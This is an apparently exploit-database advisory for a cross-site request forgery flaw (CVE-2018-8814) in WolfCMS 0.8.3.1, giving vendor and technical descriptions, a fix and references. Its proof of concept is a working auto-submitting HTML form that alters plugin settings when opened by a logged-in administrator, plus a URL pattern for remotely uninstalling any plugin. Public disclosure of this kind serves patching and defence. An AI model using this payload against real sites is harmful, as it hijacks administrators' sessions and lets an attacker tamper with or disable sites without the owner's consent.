1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 |
####################################### # Exploit Title: WolfCMS 0.8.3.1 Cross Site Request Forgery # Google Dork: N/A # Date: 04-04-2018 ####################################### # Exploit Author: Sureshbabu Narvaneni# ####################################### # Author Blog : http://nullnews.in # Vendor Homepage: http://www.wolfcms.org # Software Link: # Affected Version: 0.8.3.1 # Category: WebApps # Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686 # CVE : CVE-2018-8814 # # 1. Vendor Description: # # Light-weight, fast, simple and powerful CMS. PHP-based, easily extended CMS. Uses MySQL, SQLite or (from 0.7) # PostgreSQL for db. Simple drag & drop page hierarchy. Open source, licensed under GPLv3. # # 2. Technical Description: # # Cross-site request forgery (CSRF) vulnerability in WolfCMS before 0.8.3.1 allows remote attackers to hijack the # authentication of users for requests that modify plugin/[pluginname]/settings and can uninstall plugins by sending # malicious request. # # 3. Proof Of Concept: # # Send below request to logged in user to change the plugin settings. # #<html> #<body> #<form action="http://[URL]/wolf/wolfcms/?/admin/plugin/archive/save" method="POST"> #<input type="hidden" name="settings[use_dates]" value="1" /> #<input type="hidden" name="commit" value="Save" /> #<input type="submit" value="Submit request" /> #</form> # <script> #document.forms[0].submit(); #</script> # </body> #</html> # # Share the below URL to uninstall any plugin remotely. # # http://[url]/wolfcms/?/admin/setting/uninstall_plugin/[pluginname] # # # 4. Solution: # # Upgrade to latest release. # http://www.wolfcms.org/blog.html # # 5. Reference: # https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8814 # https://github.com/wolfcms/wolfcms/issues/671 ##################################### |